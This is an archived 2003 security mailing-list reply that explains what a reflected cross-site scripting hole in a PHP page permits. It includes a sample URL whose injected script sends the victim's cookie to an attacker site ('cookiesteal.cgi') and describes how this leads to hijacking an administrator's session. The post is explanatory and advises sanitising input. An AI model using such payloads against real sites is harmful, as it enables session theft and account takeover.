Re: About malicious java sciprt running...

From: Shaun Colley (shaunige_at_yahoo.co.uk)
Date: 12/09/03

  • Next message: Optrics Engineering - Shaun Sturby, MCSE: "RE: Web Filter software for linux"
    Date: Tue, 9 Dec 2003 19:09:04 +0000 (GMT)
    To: security-basics@securityfocus.com
    
    

    Hey.

    Having the ability to inject malicious HTML code (or
    as some call them, "cross-site scripting attacks") is
    not directly an issue to the security of the server
    side, but can consequently lead onto the
    compromisation of the server's security. Here's an
    example:

    The attacker crafts an URL string containing malicious
    javascript to give to the variable $a, to redirect the
    social engineered user who unsuspectingly visits the
    URL to the attacker's site to steal the user's cookie.

    http://host/a.php?variable="><script>document.location='http://www.attackersite.com/cookiesteal.cgi?
    '%20+document.cookie</script>

    The users cookie is stolen, leaving the attacker with
    login credentials.

    Now, this is not directly a threat to the server,
    rather a potential threat to users of the site. But
    what if, for example, the attacker persuaded the
    administrator to click that URL? The administrators
    session cookie would be stolen, thus resulting in a
    system compromise.

    Without the server-side example, the attacker still
    has the ability to inject malicious code, this still
    has the door open to a multitude of possibilities...

    > i think... this is very~~~ common hole in many
    > sites.

    Yeap, way to many scripts do not sanitize user-input.
    Main rule in CGI and web development: do not trust
    user-input.

    Thank you for your time.
    Shaun.

    --- s970501@ku.edu.np wrote: > Hi,
    >
    > I have a question about javascript exploits.
    > suppose... somebody can put javascript and can run
    > it,
    > what can he do?
    >
    > i have a website running apache/php.
    > some of pages are workin' like this...
    >
    > test.php?a=333
    > ...
    > <?php
    > ...
    > echo "$a";
    > ...
    > ?>
    > ...
    >
    > i found anybody can run javascript from this
    > source...
    > like test.php?a=<script>alert("hey")</script> or
    > something else.
    >
    > but what can he do with this hole...?
    > is there anything he can do in server side?
    > is there any javascript can make file or see files
    > in server?
    >
    > i think... this is very~~~ common hole in many
    > sites.
    >
    > thanks...
    >
    >
    >
    >
    >
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    >
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    >

    ________________________________________________________________________
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  • Next message: Optrics Engineering - Shaun Sturby, MCSE: "RE: Web Filter software for linux"

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